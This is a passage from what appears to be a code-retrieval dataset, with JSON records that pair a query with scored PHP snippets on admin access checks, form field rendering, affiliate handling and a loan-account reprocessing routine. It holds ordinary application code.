estAdmin($database,$pseudo){\n $infosUser = getInfosUser($database,$pseudo);\n return $infosUser[\"estAdmin\"];\n}", "title": "" }, { "docid": "53d74678a6aacca203f8f3eabc9e09a5", "score": "0.60686356", "text": "public static function modifier() {\n if(!UserModel::estAdmin())\n Controller::goTo();\n \n // L'utilisateur a annulé\n if(isset($_POST['btnAnnuler']))\n Controller::goTo(\"users/index.php\", \"L'enseignant n'a pas été modifié.\");\n \n // Le formulaire a été validé\n $data = [];\n if(isset($_POST['btnModifier'])) {\n if(!isset($_SESSION['current']['user']))\n Controller::goTo(\"users/index.php\", \"\", \"Erreur lors de la récupération de l'utilisateur.\");\n \n $data['user'] = self::__getFromForm();\n $data['user']->setId($_SESSION['current']['user']);\n \n $erreur = \"\";\n if(isset($_POST['inputConf']) && \n ($_POST['inputConf'] != $data['user']->getPassword()))\n $erreur .= \"Le mot de passe et la confirmation sont différents. \";\n if($data['user']->getName() == \"\")\n $erreur .= \"Vous devez saisir un nom. \";\n if($data['user']->getFirstname() == \"\")\n $erreur .= \"Vous devez saisir un prénom. \";\n if($data['user']->getMail() == \"\")\n $erreur .= \"Vous devez saisir une adresse email. \";\n else\n if(!filter_var($data['user']->getMail(), FILTER_VALIDATE_EMAIL))\n $erreur .= \"L'adresse email n'est pas valide. \";\n\n if($erreur == \"\") {\n if(UserModel::update($data['user']))\n Controller::goTo(\"users/index.php\", \"L'enseignant a été modifié.\");\n else\n WebPage::setCurrentMsg(\"L'enseignant n'a pas été modifié dans la base de données.\");\n } \n else\n WebPage::setCurrentErrorMsg($erreur);\n } \n else {\n $data['user'] = UserModel::read(intval($_POST['idModi']));\n if($data['user'] == null)\n return Controller::goTo(\"users/index.php\", \"\", \"Erreur lors de la récupération de l'utilisateur.\");\n $_SESSION['current']['user'] = intval($_POST['idModi']);\n }\n \n return Controller::push(\"Modifier un enseignant\", \"./view/users/modifier.php\", $data);\n }", "title": "" }, { "docid": "6344fb3a7db8127d6c865d8d9012b32b", "score": "0.6066925", "text": "public static function changeToAdmin() {\r\n\t\tself::$username = ADMIN_USER;\r\n\t\tself::$password = ADMIN_PASS;\r\n\t\tself::$dbConn = NULL;\r\n\t}", "title": "" }, { "docid": "1af9742dea0122d665e898cdfe251536", "score": "0.6058252", "text": "public function adminAccess(){\n \tif ($this->adminLevel != 9){\n \t\t//Destory session\n \t\t//logout\n header(\"location:../employeeManagementModule/logout.php\");\n \t\texit();\n \t\t}\n }", "title": "" }, { "docid": "d30cdde1e604b909dd59f9625b428405", "score": "0.6054069", "text": "public static function control()\n {\n $modelo=new ModeloUsuarios();\n $usuarios=$modelo->obtenerUsuarios();\n require_once RUTA_ABS . \"/App/Vistas/listado-usuarios.php\";\n }", "title": "" }, { "docid": "dc51a60e28c278db46a5a619bf9273eb", "score": "0.6053047", "text": "public function actionAdministrar(){\n try{\n $searchModel = new DebitoAutomaticoSearch();\n $dataProvider = $searchModel->search(Yii::$app->request->queryParams);\n } catch (Exception $ex) {\n Yii::error('Administración Debitos Automatico '.$e);\n Yii::$app->session->setFlash('error', Yii::$app->params['errorExcepcion']);\n }\n return $this->render('index', [\n 'searchModel' => $searchModel,\n 'dataProvider' => $dataProvider,\n ]);\n }", "title": "" }, { "docid": "1fcb0ac0cfb82d5be0f0a5e8f0e11cd4", "score": "0.60479945", "text": "private function _adminPrivilegeValidation(){\n ($this->session->userdata('privilege') == $this->modules) ?\n\t\t\t: (redirect(base_url(), 'refresh'));\n\t}", "title": "" }, { "docid": "2552ce08be7630d2221b3d81ce1ebdf2", "score": "0.60415", "text": "function editofficial()\n\t{\n\t\t# if user is logged in but does not have role, redirect w/message\n\t}", "title": "" }, { "docid": "f41e5cede7b638320f4cad05c8460653", "score": "0.60348755", "text": "public function crear()\n {\n // Comprobar si esta logeado como admin\n if( isset($_SESSION['admin']) ){\n\n $rol = new Rol;\n\n $rol->rol = $_POST['nuevoRol'];\n\n $rol->guardar();\n\n header('Location: ../usuarios/roles');\n\n } else {\n\n // Redirigir al perfil\n header('Location: ../perfil');\n }\n\n }", "title": "" }, { "docid": "e3a842492d2ff61ad7f95fbdb1eb6b0d", "score": "0.6033418", "text": "public function isAdmin(): bool;", "title": "" } ]
450dba93a6587049ee2fc459cbf1d8e7
/ = CONTROLEURS = == Affichage ==
[ { "docid": "69ad57e544bc2c915d0bfe59b11d9b76", "score": "0.0", "text": "public function display()\n\t{\n\t\t$output = \"\";\n\t\t\n\t\t$output .= \"<ul class=\\\"tiFyForm-FieldChoices\\\">\\n\";\n\t\t\n\t\t$i = 0; \n\t\tforeach( (array) $this->field()->getAttr( 'choices' ) as $value => $label ) :\n\t\t\t$output .= \"\\t<li class=\\\"tiFyForm-FieldChoice tiFyForm-FieldChoice--\". $this->getID() .\" tiFyForm-FieldChoice--\". $this->field()->getSlug() .\" tiFyForm-FieldChoice--\". preg_replace( '/[^a-zA-Z0-9_\\-]/', '', $value ) .\"\\\">\\n\";\n\t\t\t$output .= \"\\t\\t<input type=\\\"radio\\\"\";\n\t\t\t$output .= \" id=\\\"\". $this->getInputID() .\"-\". $i .\"\\\"\";\n\t\t\t$output .= \"class=\\\"tiFyForm-FieldChoiceInput tiFyForm-FieldChoiceInput--radio\\\"\";\n\t\t\t$output .= \" value=\\\"\". esc_attr( $value ) .\"\\\"\";\n\t\t\t$output .= \" name=\\\"\". esc_attr( $this->field()->getDisplayName() ) .\"\\\"\";\n\t\t\t$output .= \"\". checked( ( $this->field()->getValue() == $value ), true, false ) .\"\";\n $output .= $this->getInputHtmlAttrs();\n\t\t\t/// TabIndex\n\t\t\t$output .= \" \". $this->getTabIndex();\n\t\t\t$output .= \"/>\";\n\t\t\t$output .= \"\\t\\t<label for=\\\"\". $this->getInputID() .\"-\". $i .\"\\\" class=\\\"tiFyForm-FieldChoiceLabel\\\">$label</label>\";\n\t\t\t$output .= \"\\t</li>\";\n\t\t\t$i++;\n\t\tendforeach;\t\t\t\n\t\t\n\t\t$output .= \"</ul>\";\n\t\t\t\t\t\t\t\t\t\n\t\treturn $output;\n\t}", "title": "" } ]
[ { "docid": "1af01829623b042e30615c73329337ed", "score": "0.58594054", "text": "public function getBeneficeAttribute()\n {\n return $this->gains - $this->mise;\n }", "title": "" }, { "docid": "749d226f8a2cb6aad01607a9ca5b938c", "score": "0.5757098", "text": "public function affichage($id){\n\n }", "title": "" }, { "docid": "eea119297ffe4a17c2beb954fc6a6610", "score": "0.5525517", "text": "public function testUpdateCreditBureau()\n {\n }", "title": "" }, { "docid": "e4af850fb372b33801ee2147f0ebb042", "score": "0.5464102", "text": "function affichage() {\n global $conn, $annee, $curseur, $requete;\n \n //affichage du tableau quoi qu'il se passe\n $style = \"style=\\\"border: 1px solid black; margin :auto;\\\"\";\n echo \"<table $style>\";\n echo \"<tr $style>\n <th $style> N° Epreuve </th>\n <th $style> Coureur </th>\n <th $style> Libellé </th>\n <th $style> Commentaire </th>\n <th $style> Raison de l'abandon </th>\n </tr>\";\n\n if (isset($annee)) { //affichage des données si une annee est entrée\n ajouterParam($curseur,':annee',$annee); //ajout de l'année sélectionnée à la requête\n \n //boucle d'affichage\n $nbLignes = LireDonneesPreparees($curseur,$tab);\n $j = 0;\n foreach($tab as $ligne) { // pour chaque ligne d'informations de la requête\n $tableau = array(); // on vide la ligne correspondant aux informations précédentes\n $tableau[] = $tab[$j]; // on met les données dans la ligne du tableau\n $j++;\n afficheLigneTableau($tableau, $style);\n }\n }\n else {\n echo \"</table>\";\n echo '<p style = \"text-align : center\">Pas encore d\\'année selectionnée !</p>';\n }\n }", "title": "" }, { "docid": "ca97f91bee82d40faee9d506d12cc9c9", "score": "0.54469764", "text": "public function getIndiceAff() {\n return $this->indiceAff;\n }", "title": "" }, { "docid": "742d0eeae1b7aafee2c3b320cb2bfe0c", "score": "0.5414608", "text": "public function aire(){\n return ($this->base*$this->hauteur)/2;\n // return ($this->base*$this->hauteur)*0.5;\n }", "title": "" }, { "docid": "651383372308f5be1468240434d0a4b8", "score": "0.5398314", "text": "function attribution()\n\t\t{\n\t\t\t// fellow webmaster, please consider that it's against MIT Lisence to remove the QA-Themes attribution\n\t\t\t$this->output(\n\t\t\t\t'<DIV CLASS=\"qa-attribution\">',\n\t\t\t\t'Designed by <a href=\"http://www.qa-themes.com\" title=\"Q2A themes & Services\">Q2A Themes</a>, ',\n\t\t\t\t'Powered by <A HREF=\"http://www.question2answer.org/\">Question2Answer</A>',\n\t\t\t\t'</DIV>'\n\t\t\t);\n\t\t}", "title": "" }, { "docid": "8a64ba687f687d7f5e8d186fa7a89abe", "score": "0.5375823", "text": "protected function setExam()\n {\n // if two ACC RJE\n\n }", "title": "" }, { "docid": "f73c6399f7350713251e6eb2477a14c7", "score": "0.53452474", "text": "function cinemalist_autoriser(){}", "title": "" }, { "docid": "b8e1fd72c778258e23936433e95a601b", "score": "0.534513", "text": "public function retrieve_student_award()\n {\n //probably wants to be overwritten on the \n }", "title": "" }, { "docid": "5f47be494662cab0ff035faa14f6e14a", "score": "0.5328364", "text": "public function accPolicy()\n {\n //\n\n \n \n }", "title": "" }, { "docid": "70db8d8e12a50397e32df9a28c773e88", "score": "0.53052944", "text": "public function getBeneficieCice() {\n return $this->beneficieCice;\n }", "title": "" }, { "docid": "fef1044a12626af9e13afe51cea0b3a2", "score": "0.53039694", "text": "public function getBenefit(){\n\t\treturn $this->benefit;\n\t}", "title": "" }, { "docid": "c73bc45ac6bc7d779e6a582973f579f6", "score": "0.52981025", "text": "public function Bedrijfsgegevens(){\n\n\t\t\n\t}", "title": "" }, { "docid": "85deefa9949dcff97ada950e93da2799", "score": "0.52585244", "text": "public function getLienCV()\n{\nreturn $this->lienCV;\n}", "title": "" }, { "docid": "c01c34aa6cce4773f30615ee0835ceba", "score": "0.52455616", "text": "function modifier_etat_assignation_chambre_lundibut($code,$chambre,$etat,$dated,$datefin,$observations){\n $requette=\"update avoir set CODE_CHAMBRE='$chambre',\tCODE_ETAT_CHAMBRE='$etat',DATE_CHANGEMENT_ETAT='$dated',DATE_FIN_ETAT='$datefin', \n OBSERVATION_ETAT_CHAMBRE='$observations' where CODE_AVOIR='$code'\";\n ExecuteRequette($requette);\n }", "title": "" }, { "docid": "65929cf229a381a20711c50f6637d7b4", "score": "0.5240028", "text": "function over_charge_allowance() \n\t{\n\t\treturn get_company_pref('po_over_charge');\n\t}", "title": "" }, { "docid": "288e9244cb516bd0d29060b86b905094", "score": "0.52227867", "text": "public function getCouleur(){\n\t\treturn $this->couleur;\n\t}", "title": "" }, { "docid": "3e073c85ef01433c04430373d2f30231", "score": "0.52226317", "text": "function capweb_affiliate_disclaimer() {\n\t return '<em><small>Disclaimer: Some of the off-site links referenced on this site are what is referred to as an affiliate link. If you choose to purchase or use the product or service through that link, the post author will get a small referral fee from the service or product provider. Your price is the same whether or not you use the affiliate link. </small></em>';\n}", "title": "" }, { "docid": "b4da712133399c2f618d4ce12931f25c", "score": "0.5199467", "text": "public function able();", "title": "" }, { "docid": "50eea0af5ef292457bf8ec2026c45763", "score": "0.5197728", "text": "function ActivateAffiliate()\n\t\t{\n\t\t\t$_REQUEST['mode'] \t\t= \"ActivateAffiliate\";\n\t\t\t$this->oModel->ActivateAffiliate($_REQUEST['identity']);\n\t\t\t//$this->oModel->ActivateEmployerJobs($_REQUEST['identity']);\n\t\t\t$err=\"Affiliate has been activated Successfully.\";\n\t\t\t$this->ListAffiliates($err);\n\t\t\tdie();\t\t\t\n\t\t}", "title": "" }, { "docid": "3bda6d6697b73423d2854013b0507b9c", "score": "0.51744425", "text": "public function getCouleur()\n {\n return $this->_couleur;\n }", "title": "" }, { "docid": "d70e340f474c7ffd9af0e1701d9af815", "score": "0.5151952", "text": "public function getCouleur()\n {\n return $this->couleur;\n }", "title": "" }, { "docid": "d70e340f474c7ffd9af0e1701d9af815", "score": "0.5151952", "text": "public function getCouleur()\n {\n return $this->couleur;\n }", "title": "" }, { "docid": "d70e340f474c7ffd9af0e1701d9af815", "score": "0.5151952", "text": "public function getCouleur()\n {\n return $this->couleur;\n }", "title": "" }, { "docid": "862cb933dbd9986dc8e1bf163d034f05", "score": "0.5138791", "text": "public function testSetCodeAffaire() {\n\n $obj = new Affaires();\n\n $obj->setCodeAffaire(\"codeAffaire\");\n $this->assertEquals(\"codeAffaire\", $obj->getCodeAffaire());\n }", "title": "" }, { "docid": "cb31bf7c3fa03d2c44e276464f54a6e5", "score": "0.5138138", "text": "public function AfiliacionCasa()\n {\n\n\n }", "title": "" }, { "docid": "c893305f4d1b55cbb058410657605a55", "score": "0.5115264", "text": "public function getCleAcces1() {\n return $this->cleAcces1;\n }", "title": "" }, { "docid": "5936ef1f9c7899a3871e95618ad752d9", "score": "0.5108164", "text": "public function calculate_final_grade()\n {\n //Formal Assesmnets and Unit Awards\n }", "title": "" }, { "docid": "6706dfcbb9a137deb5c9bb27e6364108", "score": "0.5106839", "text": "public function get_niveau_accreditation()\n {\n return $this->_niveau_accreditation;\n }", "title": "" }, { "docid": "e31539b66ccff0784cd53607ce3dd116", "score": "0.50950307", "text": "function AffiliateDetails($affID)\n\t\t{\n\n\t\t\t$this->oView->secondary_affiliates = $this->oModel->getAffiliateDetail($affID);\n\t\t\t\n\t\t\tif(isset($_SESSION['Affiliate Content']['Page Header']['View'])) \n\t\t\t\t$this->oView->affiliate_content_page_header_view = $_SESSION['Affiliate Content']['Page Header']['View'];\t\t\t\t\n\t\t\t\t\n\t\t\t$this->oView->MyAffiliates( $affID );\t\t\t\n\t\t}", "title": "" }, { "docid": "73fd3f99269be663c912586c4f1b9df8", "score": "0.5081214", "text": "public function testUpdateGuarantor()\n {\n }", "title": "" }, { "docid": "8f387ed66effd152918203ba30cd44e0", "score": "0.50757426", "text": "function produits_autoriser() {\n}", "title": "" }, { "docid": "fb58cb012f151061eb092510d87c1c63", "score": "0.5071937", "text": "public function getWarranty();", "title": "" }, { "docid": "215ee0ed20f5712da3806dca2a8553ee", "score": "0.50716406", "text": "function ConstantMutationRate()\n\t{\n\t\t$sql = \"SELECT \n\t\t\tc.cid,\n\t\t\tg.genome as seq\n\t\tFROM\n\t\t\tcitizens as c,\n\t\t\tgenetics as g\n\t\tWHERE\n\t\t\tc.cid = g.cid\n\t\tAND\n\t\t\tstatus > 0\n\t\t\t\";\n\n\t}", "title": "" }, { "docid": "45a38c18ff6337278359ce64c511703e", "score": "0.5069087", "text": "public static function afficherAcces(Lieu $lieu){\n\n $display =\"<h3>Comment s'y rendre</h3><br/>\";\n $voiture = $lieu->getVoiture();\n $avion = $lieu->getAvion();\n $train = $lieu->getTrain();\n\n if($voiture!=\"\"){\n $display .= \"En voiture<br/>\";\n $display .= $voiture;\n }\n if($train!=\"\"){\n $display .= \"En train<br/>\";\n $display .= $train;\n }\n if($avion!=\"\"){\n $display .= \"En avion<br/>\";\n $display .= $avion;\n } \n return $display;\n }", "title": "" }, { "docid": "31003fb90c0869eff84d537a4438d64c", "score": "0.5065847", "text": "public function getAssuranceControle() {\n return $this->assuranceControle;\n }", "title": "" }, { "docid": "718ec1096b3d54450091fd7657a19bef", "score": "0.5062995", "text": "public function getCouleur() : string\n {\n return $this->couleur;\n }", "title": "" }, { "docid": "deda1599ef880f801908d66ba068252f", "score": "0.5061002", "text": "private function _calCulateBalance() {\n $this->_hpc=$this->_amount-$this->_agentcommission-round($this->_policynetprem,2)-round($this->_policyIPT,2);\n $this->_income = $this->_hpc+$this->_banked;\n \n }", "title": "" }, { "docid": "c7d18fceff18a78612f76f02cafd45ea", "score": "0.50562066", "text": "public function setCodeAffaire(?string $codeAffaire): AffaireSuivi {\n $this->codeAffaire = $codeAffaire;\n return $this;\n }", "title": "" }, { "docid": "35579f9931dae4262898c27f35dedfd3", "score": "0.50541776", "text": "function association_upgrade($meta, $courante, $table='meta') {\r\n\r\n\t// Compatibilite: le nom de la meta donnant le numero de version\r\n\t// n'etait pas std puis est parti dans une autre table puis encore une autre\r\n\tif (!isset($GLOBALS['association_metas']['base_version'])) {\r\n\t\tlire_metas('asso_metas');\r\n\t\tif (isset($GLOBALS['asso_metas']['base_version'])) {\r\n\t\t\t$n = $GLOBALS['asso_metas']['base_version'];\r\n\t\t} elseif (isset($GLOBALS['meta']['association_base_version'])) {\r\n\t\t\t$n = $GLOBALS['meta']['association_base_version'];\r\n\t\t} else\r\n\t\t\t$n = 0;\r\n\t\t$GLOBALS['association_metas']['base_version'] = $n;\r\n\t} else\r\n\t\t$n = $GLOBALS['association_metas']['base_version'];\r\n\r\n\t// Upgrade proprement dit\r\n\teffacer_meta('association_base_version');\r\n\tspip_log(\"association upgrade: $table $meta = $n =>> $courante\");\r\n\tif (!$n)\r\n\t\treturn association_maj_0($courante, $meta, $table);\r\n\telse {\r\n\t\t// compatibilite avec les numeros de version non entiers (repris de r13971)\r\n\t\t$installee = ($n > 1) ? $n : ($n * 100);\r\n\t\t$GLOBALS['association_maj_erreur'] = 0;\r\n\t\tif ($courante > $installee) {\r\n\t\t\tinclude_spip('base/association');\r\n\t\t\tinclude_spip('base/upgrade');\r\n\t\t\t$n = maj_while($installee, $courante, $GLOBALS['association_maj'], $meta, $table);\r\n\t\t\t$n = $n ? $n[0] : $GLOBALS['association_maj_erreur'];\r\n\t\t\t// signaler que les dernieres MAJ sont a refaire\r\n\t\t\tif ($n)\r\n\t\t\t\tecrire_meta($meta, $n-1, $table);\r\n\t\t}\r\n\t\treturn $GLOBALS['association_maj_erreur'];\r\n\t}\r\n}", "title": "" }, { "docid": "f8355ad471be2cba374adc2a04242fbb", "score": "0.5042467", "text": "public function getInfo() : string\n {\n return \"İçecek Adı : {$this->getName()}, Asitlik Oranı : {$this->acidRatio}%\";\n }", "title": "" }, { "docid": "4bb0ae2ed3cdbde3ace1e2291cb543bf", "score": "0.5024159", "text": "public function setaffiliate() {\n\t\t$this -> isaffiliate\t= true;\n\t\t$this -> isreseller\t= !$this -> isaffiliate;\n\t}", "title": "" }, { "docid": "d7bb384f13169f665bce5fc303dbd00f", "score": "0.5021857", "text": "public function __construct($financial = 0, $reputation = 0, $noncompliance = 0, $privacy = 0)\r\n {\r\n $this->impacts['financial damage'] = $financial;\r\n $this->impacts['reputation damage'] = $reputation;\r\n $this->impacts['non-compliance'] = $noncompliance;\r\n $this->impacts['privacy violation'] = $privacy;\r\n }", "title": "" }, { "docid": "b4af3bd38bf84ee1c6939a3d7ba48e0b", "score": "0.5017669", "text": "public function getReferenciaAttribute(){\n \n //guardamos el valor del atributo en una variable\n $referencia = $this->attributes['referencia'];\n //reemplazamos los guiones por espacios para una mejor lectura del dato\n $referencia = str_replace('_', ' ', $referencia);\n //convertimos la primera letra del valor en mayuscula\n //devolvemos el valor del attributo ya tratado\n return ucwords($referencia);\n }", "title": "" }, { "docid": "346edb3d2c89e5bc56d4714bead11c23", "score": "0.50142974", "text": "function permsBlurb($names=NULL) {\n\t\tif ($names != NULL) {\n\t\t\techo \"All materials are presented here with the express permission of their respective copyright owners and \" . $names . \". Materials may have been edited to remove content for which explicit permission has not been granted.\"; \n\t\t} else if ($names == NULL) { // If no name is given, special case format.\n\t\t\techo \"All materials are presented here with the express permission of their respective copyright owners. Materials may have been edited to remove content for which explicit permission has not been granted.\"; \n\t\t}\n\t}", "title": "" }, { "docid": "82ae0a9b8d7c709fabd6b6e2d2ccecc6", "score": "0.5013302", "text": "public function get_acteur()\n {\n return $this->_acteur;\n }", "title": "" }, { "docid": "9162fa6e4a3839c4f9fa8cbfe11527fb", "score": "0.5004022", "text": "function over_receive_allowance() \n\t{\n\t\treturn get_company_pref('po_over_receive');\n\t}", "title": "" }, { "docid": "742afd1ec68d760597435bb15f362396", "score": "0.5003307", "text": "function direct($capno) {\r\n $accnt = new Model_BorrowerAccount();\r\n $select = $accnt->select();\r\n $select->where('capno like ?', capnosep($capno).'_'.capnorecon($capno))->order('id ASC');\r\n $allBorrower = $accnt->fetchAll($select);\r\n \r\n\t\t/****Update Original Application Status ***/\r\n\t\t$data = array(\r\n\t\t'account_status' => 'MA - Recall',\r\n\t\t);\r\n\t\t$where = \"capno like '$capno'\";\r\n\t\t$accnt->update($data,$where);\r\n\t\t/****End of Update Original Application Status ***/\r\n\t\t\r\n $capnoComaker = $accnt->getComaker($capno);\r\n \r\n $allArray = Array();\r\n foreach ($allBorrower as $detail) {\r\n $allArray[] = $detail->capno;\r\n }\r\n \r\n if ($capnoComaker) {\r\n // if comaker exist and spouse\r\n $select = $accnt->select();\r\n\t $select->where(\"capno like ?\",$capnoComaker);\r\n $allBorrower = $accnt->fetchAll($select);\r\n foreach ($allBorrower as $detail) {\r\n $allArray[] = $detail->capno;\r\n }\r\n }\r\n // Add Comaker Data and edit its mainborrower capno\r\n foreach ($allArray as $capno) {\r\n echo $capno;\r\n echo '<br>';\r\n $newrecon = capnorecon($capno) + 1;\r\n $newcap = capnoseprecon($capno).$newrecon;\r\n echo $newcap.'<br>';\r\n \r\n //Insert Account History\r\n $history = new Model_AccountHistory();\r\n $select = $history->select();\r\n $select->where('capno like ?', $capno)->order('id DESC');\r\n $historyDetail = $history->fetchRow($select);\r\n $hdata = array('capno'=>$capno, 'status'=>'MA - S', 'by'=>login_user(), 'date'=>date(\"r\"), 'remarks'=>'Reprocess', 'date_last'=>$historyDetail->date, );\r\n $history->insert($hdata);\r\n //End of History\r\n \r\n /**Model_BorrowerAccount();**/$select = $accnt->select();\r\n $select->where('capno like ?', $capno);\r\n $array = $accnt->fetchRow($select)->toArray();\r\n $array['id'] = null;\r\n $array['capno'] = $newcap;\r\n $array['account_status2'] = 'RECALL';\r\n $array['account_status'] = 'MA - E';\r\n $array['deviation'] = null;\r\n \r\n if ($accnt->isPrincipal($capno)) {\r\n //for comaker puspose\r\n $capnoPrincipal = $newcap;\r\n }\r\n if ($accnt->isComaker($capno)) {\r\n // for comaker puspose copy the new capno of principal capno\r\n $array['comaker_of'] = $capnoPrincipal;\r\n }\r\n \r\n print_r($array);\r\n $accnt->insert($array);\r\n /**End of Model_BorrowerAccount()**/\r\n \r\n\t\t\t/**Model_BorrowerDeviation()**/\r\n\t\t\t\r\n $deviation = new Model_BorrowerDeviation();\r\n $select = $deviation->select();\r\n $select->where('capno like ?', $capno);\r\n $deviationRow = $deviation->fetchAll($select);\r\n $deviationArray = $deviationRow->toArray();\r\n \r\n if ($deviationArray) {\r\n foreach ($deviationArray as $array) {\r\n $array['capno'] = $newcap;\r\n $array['id'] = null;\r\n $deviation->insert($array);\r\n }\r\n }\r\n /**End of Model_BorrowerDeviation()**/\r\n \r\n /**Model_BorrowerDeviationOthers()**/\r\n $table = new Model_BorrowerDeviationOthers();\r\n $select = $table->select();\r\n $select->where('capno like ?', $capno);\r\n $tableRow = $table->fetchAll($select);\r\n $tableArray = $tableRow->toArray();\r\n \r\n if ($tableArray) {\r\n foreach ($tableArray as $array) {\r\n $array['capno'] = $newcap;\r\n $array['id'] = null;\r\n $table->insert($array);\r\n }\r\n }\r\n /**End of Model_BorrowerDeviationOthers()**/\r\n \r\n /**Model_BorrowerBusiness()**/\r\n $table = new Model_BorrowerBusiness();\r\n $select = $table->select();\r\n $select->where('capno like ?', $capno);\r\n $tableRow = $table->fetchAll($select);\r\n $tableArray = $tableRow->toArray();\r\n \r\n if ($tableArray) {\r\n foreach ($tableArray as $array) {\r\n $array['capno'] = $newcap;\r\n $array['id'] = null;\r\n $table->insert($array);\r\n }\r\n }\r\n /**End of Model_BorrowerBusiness()**/\r\n \r\n /**Model_BorrowerEmployment()**/\r\n $table = new Model_BorrowerEmployment();\r\n $select = $table->select();\r\n $select->where('capno like ?', $capno);\r\n $tableRow = $table->fetchAll($select);\r\n $tableArray = $tableRow->toArray();\r\n \r\n if ($tableArray) {\r\n foreach ($tableArray as $array) {\r\n $array['capno'] = $newcap;\r\n $array['id'] = null;\r\n $table->insert($array);\r\n }\r\n }\r\n /**End of Model_BorrowerEmployment()**/\t\t\t\r\n \r\n /**Model_BorrowerCrawForm()**/\r\n $table = new Model_BorrowerCrawForm();\r\n $select = $table->select();\r\n $select->where('capno like ?', $capno);\r\n $tableRow = $table->fetchAll($select);\r\n $tableArray = $tableRow->toArray();\r\n \r\n if ($tableArray) {\r\n foreach ($tableArray as $array) {\r\n $array['capno'] = $newcap;\r\n $array['id'] = null;\r\n $table->insert($array);\r\n }\r\n }\r\n /**End of Model_BorrowerCrawForm()**/\t\t\r\n \r\n /**Model_BorrowerCi()**/\r\n $table = new Model_BorrowerCi();\r\n $select = $table->select();\r\n $select->where('capno like ?', $capno);\r\n $tableRow = $table->fetchAll($select);\r\n $tableArray = $tableRow->toArray();\r\n \r\n if ($tableArray) {\r\n foreach ($tableArray as $array) {\r\n $array['capno'] = $newcap;\r\n $array['id'] = null;\r\n $array['model_ci_srcincomever'] = null;\r\n $array['model_ci_empver'] = null;\r\n $array['model_ci_busver'] = null;\r\n $array['model_ci_trdchk'] = null;\r\n $array['model_ci_backgrd'] = null;\r\n $table->insert($array);\r\n \r\n }\r\n }\r\n /**End of Model_BorrowerCi()**/\t\t\t\t\r\n \r\n \r\n /**Model_BorrowerCv()**/\r\n $table = new Model_BorrowerCv();\r\n $select = $table->select();\r\n $select->where('capno like ?', $capno);\r\n $tableRow = $table->fetchAll($select);\r\n $tableArray = $tableRow->toArray();\r\n \r\n if ($tableArray) {\r\n foreach ($tableArray as $array) {\r\n $array['capno'] = $newcap;\r\n $array['id'] = null;\r\n $array['model_cv_srcincomever'] = null;\r\n $array['model_cv_empver'] = null;\r\n $array['model_cv_busver'] = null;\r\n $array['model_cv_trdchk'] = null;\r\n $array['model_cv_backgrd'] = null;\r\n $table->insert($array);\r\n }\r\n }\r\n /**End of Model_BorrowerCv()**/\t\t\r\n \r\n /**Model_BorrowerIncomeMonthly()**/\r\n $table = new Model_BorrowerIncomeMonthly();\r\n $select = $table->select();\r\n $select->where('capno like ?', $capno);\r\n $tableRow = $table->fetchAll($select);\r\n $tableArray = $tableRow->toArray();\r\n \r\n if ($tableArray) {\r\n foreach ($tableArray as $array) {\r\n $array['capno'] = $newcap;\r\n $array['id'] = null;\r\n $table->insert($array);\r\n }\r\n }\r\n /**End of Model_BorrowerIncomeMonthly()**/\t\r\n \r\n /**Model_BorrowerIncomeSource()**/\r\n $table = new Model_BorrowerIncomeSource();\r\n $select = $table->select();\r\n $select->where('capno like ?', $capno);\r\n $tableRow = $table->fetchAll($select);\r\n $tableArray = $tableRow->toArray();\r\n \r\n if ($tableArray) {\r\n foreach ($tableArray as $array) {\r\n $array['capno'] = $newcap;\r\n $array['id'] = null;\r\n $table->insert($array);\r\n }\r\n }\r\n /**End of Model_BorrowerIncomeSource()**/\t\t\t\t\t\r\n \r\n \r\n /**Model_BorrowerInsuranceCharges()**/\r\n $table = new Model_BorrowerInsuranceCharges();\r\n $select = $table->select();\r\n $select->where('capno like ?', $capno);\r\n $tableRow = $table->fetchAll($select);\r\n $tableArray = $tableRow->toArray();\r\n \r\n if ($tableArray) {\r\n foreach ($tableArray as $array) {\r\n $array['capno'] = $newcap;\r\n $array['id'] = null;\r\n $table->insert($array);\r\n }\r\n }\r\n /**End of Model_BorrowerInsuranceCharges()**/\t\r\n \r\n /**Model_BorrowerInsuranceCharges()**/\r\n $table = new Model_BorrowerInsurancePerils();\r\n $select = $table->select();\r\n $select->where('capno like ?', $capno);\r\n $tableRow = $table->fetchAll($select);\r\n $tableArray = $tableRow->toArray();\r\n \r\n if ($tableArray) {\r\n foreach ($tableArray as $array) {\r\n $array['capno'] = $newcap;\r\n $array['id'] = null;\r\n $table->insert($array);\r\n }\r\n }\r\n /**End of Model_BorrowerInsuranceCharges()**/\t\r\n \r\n /**Model_BorrowerInsurancePolicy()**/\r\n $table = new Model_BorrowerInsurancePolicy();\r\n $select = $table->select();\r\n $select->where('capno like ?', $capno);\r\n $tableRow = $table->fetchAll($select);\r\n $tableArray = $tableRow->toArray();\r\n \r\n if ($tableArray) {\r\n foreach ($tableArray as $array) {\r\n $array['capno'] = $newcap;\r\n $array['id'] = null;\r\n $table->insert($array);\r\n }\r\n }\r\n /**End of Model_BorrowerInsurancePolicy()**/\r\n \r\n /**Model_BorrowerObBank()**/\r\n $table = new Model_BorrowerObBank();\r\n $select = $table->select();\r\n $select->where('capno like ?', $capno);\r\n $tableRow = $table->fetchAll($select);\r\n $tableArray = $tableRow->toArray();\r\n \r\n if ($tableArray) {\r\n foreach ($tableArray as $array) {\r\n $array['capno'] = $newcap;\r\n $array['id'] = null;\r\n $table->insert($array);\r\n }\r\n }\r\n /**End of Model_BorrowerObBank()**/\r\n \r\n /**Model_BorrowerObBfLiabilities()**/\r\n $table = new Model_BorrowerObBfLiabilities();\r\n $select = $table->select();\r\n $select->where('capno like ?', $capno);\r\n $tableRow = $table->fetchAll($select);\r\n $tableArray = $tableRow->toArray();\r\n if ($tableArray) {\r\n foreach ($tableArray as $array) {\r\n $array['capno'] = $newcap;\r\n $array['id'] = null;\r\n $table->insert($array);\r\n }\r\n }\r\n /**End of Model_BorrowerObBfLiabilities()**/\r\n \r\n /**Model_BorrowerObCreditCard()**/\r\n $table = new Model_BorrowerObCreditCard();\r\n $select = $table->select();\r\n $select->where('capno like ?', $capno);\r\n $tableRow = $table->fetchAll($select);\r\n $tableArray = $tableRow->toArray();\r\n if ($tableArray) {\r\n foreach ($tableArray as $array) {\r\n $array['capno'] = $newcap;\r\n $array['id'] = null;\r\n $table->insert($array);\r\n }\r\n }\r\n /**End of Model_BorrowerObCreditCard()**/\t\r\n \r\n /**Model_BorrowerObExistLoan()**/\r\n $table = new Model_BorrowerObExistLoan();\r\n $select = $table->select();\r\n $select->where('capno like ?', $capno);\r\n $tableRow = $table->fetchAll($select);\r\n $tableArray = $tableRow->toArray();\r\n if ($tableArray) {\r\n foreach 